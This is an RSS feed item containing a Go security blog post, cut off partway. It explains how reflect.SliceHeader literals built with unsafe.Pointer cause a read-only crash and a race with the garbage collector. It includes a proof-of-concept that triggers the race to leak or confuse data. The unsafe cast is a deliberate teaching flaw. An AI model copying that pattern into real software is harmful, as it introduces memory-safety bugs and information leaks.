<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Johannes Lauinger</title>
    <description>The latest articles on DEV Community by Johannes Lauinger (@jlauinger).</description>
    <link>https://dev.to/jlauinger</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F383388%2F70377651-7ecb-42f5-935a-81766f098ca7.jpeg</url>
      <title>DEV Community: Johannes Lauinger</title>
      <link>https://dev.to/jlauinger</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/jlauinger"/>
    <language>en</language>
    <item>
      <title>SliceHeader Literals in Go create a GC Race and Flawed Escape-Analysis. Exploitation with unsafe.Pointer on Real-World Code</title>
      <dc:creator>Johannes Lauinger</dc:creator>
      <pubDate>Wed, 03 Jun 2020 14:19:45 +0000</pubDate>
      <link>https://dev.to/jlauinger/sliceheader-literals-in-go-create-a-gc-race-and-flawed-escape-analysis-exploitation-with-unsafe-pointer-on-real-world-code-4mh7</link>
      <guid>https://dev.to/jlauinger/sliceheader-literals-in-go-create-a-gc-race-and-flawed-escape-analysis-exploitation-with-unsafe-pointer-on-real-world-code-4mh7</guid>
      <description>&lt;p&gt;In this fourth part, we will explore a very common, but unsafe code pattern: creating &lt;code&gt;reflect.SliceHeader&lt;/code&gt; and &lt;code&gt;reflect.StringHeader&lt;/code&gt; objects from scratch instead of deriving them by cast.&lt;/p&gt;

&lt;p&gt;We will see three problems that come from this: an implicit read-only property, a GC race that can lead to a data confusion and information leak, and an escape-analysis error that leads to dangling pointers.&lt;/p&gt;

&lt;p&gt;Then, we will look at an improved version of the cast, and introduce a linter that can find some of the occurances of this specific, unsafe code pattern.&lt;/p&gt;

&lt;h2&gt;
  
  
  Garbage Collection
&lt;/h2&gt;

&lt;p&gt;First, let's quickly go through garbage collection. Go offers memory management to the programmer. It automatically allocates memory for object instances or values, such as integers, slices, or structs. It also keeps track of whether those objects are still in use, and frees the memory when they aren't anymore.&lt;/p&gt;

&lt;p&gt;The Go garbage collector runs in the background as its own Goroutine. In fact it's several Goroutines. The garbage collector can be triggered manually by calling &lt;code&gt;runtime.GC()&lt;/code&gt;, but usually it runs automatically when the heap doubles its size. This size threshold can be adjusted with the &lt;code&gt;GOGC&lt;/code&gt; environment variable. It is set to a percentage. The default is 100, meaning the heap has to grow by 100% to trigger the garbage collection. Setting it to 200 for example would mean that the collection is only started when the heap has grown to three times the previous size. On top of the size condition there is also a timing condition: as long as the process is not suspended, the garbage collector will run at least once every two minutes.&lt;/p&gt;

&lt;p&gt;Go uses a &lt;a href="https://en.wikipedia.org/wiki/Tracing_garbage_collection" rel="noopener noreferrer"&gt;Mark-and-Sweep garbage collector&lt;/a&gt;. This type of garbage collection consists of two phases:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Mark: by recursively following all references, starting from variables in scope, reachable heap objects are marked&lt;/li&gt;
&lt;li&gt;Sweep: objects that are not marked are freed&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;These steps can be seen in the following figure:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fjlauinger%2Fgo-unsafepointer-poc%2Fmaster%2Fassets%2Fgarbage-collector.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fjlauinger%2Fgo-unsafepointer-poc%2Fmaster%2Fassets%2Fgarbage-collector.png" alt="Mark and Sweep Garbage Collection"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The light blue boxes in the heap are objects that are reachable (through the references shown by the arrows). The white objects are unreachable and will be freed in the sweep phase.&lt;/p&gt;

&lt;h2&gt;
  
  
  Explicit casting using unsafe pointers
&lt;/h2&gt;

&lt;p&gt;Now, we will look at the most common usage pattern for &lt;code&gt;unsafe.Pointer&lt;/code&gt; in real-world open-source Go code: casting a slice of some type or string into a slice of some other type. Let's say we wanted to convert a string to a &lt;code&gt;[]byte&lt;/code&gt; slice in-place, that is reusing the string memory instead of copying it into a new slice allocation.&lt;/p&gt;

&lt;p&gt;A frequent pattern to do this looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;unsafeStringToBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;reflect&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;StringHeader&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;unsafe&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pointer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;sliceHeader&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;reflect&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SliceHeader&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;Data&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;sh&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;Len&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;  &lt;span class="n"&gt;sh&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;Cap&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;  &lt;span class="n"&gt;sh&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;unsafe&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pointer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sliceHeader&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The function gets a &lt;code&gt;*string&lt;/code&gt; pointer (sometimes it will also be a direct &lt;code&gt;string&lt;/code&gt;) and returns a &lt;code&gt;[]byte&lt;/code&gt; slice. Let's look at what it does, line by line.&lt;/p&gt;

&lt;p&gt;First, a &lt;code&gt;reflect.StringHeader&lt;/code&gt; is created from the string. The &lt;code&gt;StringHeader&lt;/code&gt; is Go's internal representation of a string. It is very similar to the &lt;code&gt;reflect.SliceHeader&lt;/code&gt; that we saw in the previous posts of this series:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;type&lt;/span&gt; &lt;span class="n"&gt;StringHeader&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;Data&lt;/span&gt; &lt;span class="kt"&gt;uintptr&lt;/span&gt;
    &lt;span class="n"&gt;Len&lt;/span&gt;  &lt;span class="kt"&gt;int&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The only difference is that there is no &lt;code&gt;Cap&lt;/code&gt; field. In fact, strings in Go are by most means just a read-only &lt;code&gt;[]byte&lt;/code&gt; slice. There are some differences, for example that &lt;code&gt;range&lt;/code&gt; will iterate over runes instead of bytes, where a rune is a Unicode code point. Because strings in Go are encoded in UTF-8, a Unicode code point might need multiple bytes (like the German umlaut &lt;code&gt;ä&lt;/code&gt;), and in that case &lt;code&gt;range&lt;/code&gt; will read multiple bytes in one iteration. But in other ways, like the length, strings behave like &lt;code&gt;[]byte&lt;/code&gt; slices. For example, &lt;code&gt;len("ä")&lt;/code&gt; is 2, even if the string has only one character. You can read more on this topic in the &lt;a href="https://blog.golang.org/strings" rel="noopener noreferrer"&gt;Go strings documentation&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;When we have a variable of type &lt;code&gt;string&lt;/code&gt; in Go, it points to a &lt;code&gt;reflect.StringHeader&lt;/code&gt; structure, which in turn has a pointer to the underlying &lt;code&gt;byte&lt;/code&gt;-array holding the string data in its &lt;code&gt;Data&lt;/code&gt; field. To get the &lt;code&gt;StringHeader&lt;/code&gt;, we cast it from an &lt;code&gt;unsafe.Pointer&lt;/code&gt; which in turn is created by casting the string pointer. If the function would have received a &lt;code&gt;string&lt;/code&gt; instead of &lt;code&gt;*string&lt;/code&gt;, we would have needed to do &lt;code&gt;unsafe.Pointer(&amp;amp;s)&lt;/code&gt; here, but the rest would stay the same.&lt;/p&gt;

&lt;p&gt;Now, a &lt;code&gt;*reflect.SliceHeader&lt;/code&gt; is created from scratch, by a composite literal. The &lt;code&gt;Data&lt;/code&gt; and &lt;code&gt;Len&lt;/code&gt; fields are just copied from the &lt;code&gt;StringHeader&lt;/code&gt;, and &lt;code&gt;Cap&lt;/code&gt; is set to the same value as &lt;code&gt;Len&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Lastly, we cast the &lt;code&gt;*reflect.SliceHeader&lt;/code&gt; into a &lt;code&gt;*[]byte&lt;/code&gt;, again using an intermediate &lt;code&gt;unsafe.Pointer&lt;/code&gt; object. The &lt;code&gt;*[]byte&lt;/code&gt; is dereferenced and returned.&lt;/p&gt;

&lt;p&gt;Thus the function is casting a &lt;code&gt;*string&lt;/code&gt; into a &lt;code&gt;[]byte&lt;/code&gt; object. &lt;/p&gt;
&lt;h2&gt;
  
  
  First problem: implicit read-only slices
&lt;/h2&gt;

&lt;p&gt;Remember that the Go documentation said that strings are &lt;strong&gt;read-only&lt;/strong&gt; &lt;code&gt;[]byte&lt;/code&gt; slices? Well, that could turn into a problem here! The &lt;code&gt;[]byte&lt;/code&gt; object returned by the function is not read-only anymore, so the compiler will not complain if we modify its contents:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="s"&gt;"Hello"&lt;/span&gt;
    &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;unsafeStringToBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"a"&lt;/span&gt; &lt;span class="c"&gt;// this will crash&lt;/span&gt;

    &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The reason strings are read-only is because when we create a string like in the example above, the actual string literal (the &lt;code&gt;Hello&lt;/code&gt; data) is placed in a special section in the binary file produced by the compiler. When the program is run, this section is probably mapped into a read-only memory page. Therefore, the &lt;code&gt;Data&lt;/code&gt; field in the &lt;code&gt;StringHeader&lt;/code&gt; and &lt;code&gt;SliceHeader&lt;/code&gt; structures will contain an address inside that read-only page.&lt;/p&gt;

&lt;p&gt;If we now change the slice with &lt;code&gt;b[1] = "a"&lt;/code&gt;, we attempt to change a read-only memory page. The operating system will prevent this and the result is a &lt;code&gt;SIGSEGV&lt;/code&gt; segmentation fault, crashing the program.&lt;/p&gt;

&lt;p&gt;The fact that this is a memory access violation that the compiler will not notice since we skipped its checks when we used &lt;code&gt;unsafe.Pointer&lt;/code&gt; is unfortunate, but a careful programmer could in theory make sure that all usages of the unsafe cast function will never change the resulting slice. At all. I think this is a pretty dangerous assumption to make and sooner or later there will be a programmer adding code that changes the slice. Therefore the casting pattern above should be avoided at all costs.&lt;/p&gt;

&lt;p&gt;But there is a second, much more subtle and dangerous problem in the code above.&lt;/p&gt;
&lt;h2&gt;
  
  
  Second problem: garbage collector race introduced by slice and string header literals
&lt;/h2&gt;

&lt;p&gt;Rule 6 of the &lt;a href="https://golang.org/pkg/unsafe/" rel="noopener noreferrer"&gt;&lt;code&gt;unsafe&lt;/code&gt; package documentation&lt;/a&gt; specifically states that "A program should not declare or allocate variables of these struct types." Why is that?&lt;/p&gt;

&lt;p&gt;When the garbage collector runs the mark phase, it follows pointer references to recursively mark the objects referenced by the pointer. An &lt;code&gt;unsafe.Pointer&lt;/code&gt; and the address stored in the &lt;code&gt;Data&lt;/code&gt; field of a valid &lt;code&gt;StringHeader&lt;/code&gt; or &lt;code&gt;SliceHeader&lt;/code&gt; will do the same. This means that &lt;code&gt;sh.Data&lt;/code&gt; in the unsafe function above will in fact be treated as a reference value, therefore the garbage collector will not free the underlying array.&lt;/p&gt;

&lt;p&gt;However, plain &lt;code&gt;uintptr&lt;/code&gt; and invalid slice or string header values are not treated as references.&lt;/p&gt;

&lt;p&gt;Whenever the address of a value is only stored in variable of type &lt;code&gt;uintptr&lt;/code&gt; (not additionally in any pointer types), the garbage collector will not mark the referenced object and therefore free it. The freed memory might be reused with new variables, or the memory page might simply be unmapped, or anything else might happen. Importantly, objects that are only reachable by using an address that was stored in a &lt;code&gt;uintptr&lt;/code&gt; variable must be treated as gone.&lt;/p&gt;

&lt;p&gt;Unsafe usage rule 2 states that only a "conversion of an &lt;code&gt;unsafe.Pointer&lt;/code&gt; to a &lt;code&gt;uintptr&lt;/code&gt; (but not back to &lt;code&gt;Pointer&lt;/code&gt;)" is allowed. The part in parenthesis is important. If we create an &lt;code&gt;unsafe.Pointer&lt;/code&gt; object from a previously stored &lt;code&gt;uintptr&lt;/code&gt; value, that &lt;code&gt;unsafe.Pointer&lt;/code&gt; is a potentially dangling pointer, and dereferencing is not a safe operation!&lt;/p&gt;

&lt;p&gt;There are some cases where &lt;code&gt;unsafe.Pointer&lt;/code&gt; objects are created from pointer arithmetic on &lt;code&gt;uintptr&lt;/code&gt; values, but those calculations must happen in the same statement as creating the pointer. We must never store a reference to something only in a &lt;code&gt;uintptr&lt;/code&gt; value.&lt;/p&gt;

&lt;p&gt;Now, let's revisit the code example above.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;unsafeStringToBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;reflect&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;StringHeader&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;unsafe&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pointer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;sliceHeader&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;reflect&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SliceHeader&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;Data&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;sh&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;Len&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;  &lt;span class="n"&gt;sh&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;Cap&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;  &lt;span class="n"&gt;sh&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c"&gt;// At this point, s is no longer used. There is a copy of the address of&lt;/span&gt;
    &lt;span class="c"&gt;// its underlying array in sliceHeader.Data however, and since sliceHeader&lt;/span&gt;
    &lt;span class="c"&gt;// was not created from an actual slice, the GC does not treat the address&lt;/span&gt;
    &lt;span class="c"&gt;// as a reference. Therefore, if the GC runs here it will free s.&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;unsafe&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pointer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sliceHeader&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;At the point of the comment, the garbage collector can potentially run. Remember that it is triggered by heap usage growth, and runs concurrently. If the function is used within a program that uses several Goroutines, the garbage collector can essentially trigger at any point, including the one with the comment.&lt;/p&gt;

&lt;p&gt;When it runs, it will free string &lt;code&gt;s&lt;/code&gt; because it is no longer used. When the &lt;code&gt;[]byte&lt;/code&gt; slice is created in the next line, its &lt;code&gt;Data&lt;/code&gt; field will contain an invalid address. It might now point to an unmapped memory page, or simply to some undefined position in the heap that might get reused later on.&lt;/p&gt;
&lt;h2&gt;
  
  
  PoC: Exploiting this GC race condition
&lt;/h2&gt;

&lt;p&gt;To see what can happen with this, let's look at the following proof-of-concept code. First, I add the following line at the position of the comment above:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;    &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Nanosecond&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;This just makes the exploit a bit more reliable, but is not strictly needed. Next, I add a Goroutine that will just use up more and more heap and constantly drop the references to that allocated memory. This will regularly trigger the garbage collector.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;heapHeapHeap&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;tmp&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="nb"&gt;make&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;1000000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;1000000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;
        &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Finally, the main Goroutine does the following:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="n"&gt;reader&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;bufio&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NewReader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Stdin&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="n"&gt;firstChar&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;reader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ReadString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sc"&gt;'\n'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;continue&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;firstChar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="c"&gt;// HERE BE DRAGONS&lt;/span&gt;
    &lt;span class="n"&gt;bytes&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;unsafeStringToBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;reader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ReadString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sc"&gt;'\n'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;firstChar&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"win! after %d iterations&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;It initializes a reader to read data from &lt;code&gt;stdin&lt;/code&gt;. Then it repeatedly reads two lines from it in a loop. A counter is used to count how many loops are needed to succeed. The &lt;code&gt;firstChar&lt;/code&gt; variable is set to the first char from the first line that is read.&lt;/p&gt;

&lt;p&gt;Then, the first line (a string) is converted to a &lt;code&gt;[]byte&lt;/code&gt; slice using the unsafe casting function from above. At this point, &lt;code&gt;bytes&lt;/code&gt; and &lt;code&gt;s&lt;/code&gt; should be the same string. Particularly, &lt;code&gt;bytes[0]&lt;/code&gt; should equal &lt;code&gt;firstChar&lt;/code&gt;.&lt;/p&gt;

